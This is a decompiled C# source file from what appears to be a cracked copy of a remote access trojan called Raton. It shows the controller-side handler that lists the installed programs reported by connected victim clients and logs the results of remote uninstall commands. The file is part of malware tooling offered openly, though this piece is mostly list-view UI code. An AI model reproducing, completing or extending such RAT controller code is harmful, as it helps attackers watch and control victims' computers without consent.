78 lines
2.9 KiB
C#
78 lines
2.9 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Raton.Handlers.HandleInstalledPrograms
|
||
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
|
|
||
|
|
using Raton.Forms.ClientForms.Monitor;
|
||
|
|
using Raton.Properties;
|
||
|
|
using Server.Connection;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.IO;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
namespace Raton.Handlers;
|
||
|
|
|
||
|
|
internal class HandleInstalledPrograms
|
||
|
|
{
|
||
|
|
public HandleInstalledPrograms(SillyClient sillyClient, Unpack unpack)
|
||
|
|
{
|
||
|
|
ratonInstalledPrograms form = (ratonInstalledPrograms) Application.OpenForms["Programs | Client ID: " + unpack.GetAsString("UID")];
|
||
|
|
if (form == null)
|
||
|
|
return;
|
||
|
|
if (form.SillyClient == null)
|
||
|
|
{
|
||
|
|
form.SillyClient = sillyClient;
|
||
|
|
form.timer1.Start();
|
||
|
|
}
|
||
|
|
form.Invoke((Delegate) (() =>
|
||
|
|
{
|
||
|
|
switch (unpack.GetAsString("Command"))
|
||
|
|
{
|
||
|
|
case "List":
|
||
|
|
string[] strArray = unpack.GetAsString("Programs").Split(new string[1]
|
||
|
|
{
|
||
|
|
"-=>"
|
||
|
|
}, StringSplitOptions.None);
|
||
|
|
form.aeroListView1.Items.Clear();
|
||
|
|
form.imageList1.Images.Clear();
|
||
|
|
form.aeroListView1.BeginUpdate();
|
||
|
|
for (int index = 0; index < strArray.Length - 1; index = index + 3 + 1)
|
||
|
|
{
|
||
|
|
string key = Helpers.Random();
|
||
|
|
ListViewItem listViewItem = new ListViewItem();
|
||
|
|
listViewItem.Text = strArray[index];
|
||
|
|
listViewItem.SubItems.Add(strArray[index + 1]);
|
||
|
|
listViewItem.SubItems.Add(strArray[index + 2]);
|
||
|
|
if (strArray[index + 3] != "N/A")
|
||
|
|
{
|
||
|
|
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(strArray[index + 3])));
|
||
|
|
form.imageList1.Images.Add(key, image);
|
||
|
|
listViewItem.ImageKey = key;
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
if (!form.imageList1.Images.ContainsKey("Admin"))
|
||
|
|
form.imageList1.Images.Add("Admin", (Image) Resources.shieldIcon);
|
||
|
|
listViewItem.ImageKey = "Admin";
|
||
|
|
}
|
||
|
|
listViewItem.Tag = (object) strArray[index];
|
||
|
|
form.aeroListView1.Items.Add(listViewItem);
|
||
|
|
}
|
||
|
|
form.aeroListView1.EndUpdate();
|
||
|
|
form.label1.Visible = false;
|
||
|
|
form.aeroListView1.Visible = true;
|
||
|
|
break;
|
||
|
|
case "UninstallResult":
|
||
|
|
bool asBool = unpack.GetAsBool("Success");
|
||
|
|
string asString = unpack.GetAsString("Name");
|
||
|
|
Program.form2.AddSuccessLog(asBool ? (object) ("Uninstalled: " + asString) : (object) ("Failed to uninstall: " + asString), (object) (asBool ? Color.LightGreen : Color.IndianRed));
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}));
|
||
|
|
}
|
||
|
|
}
|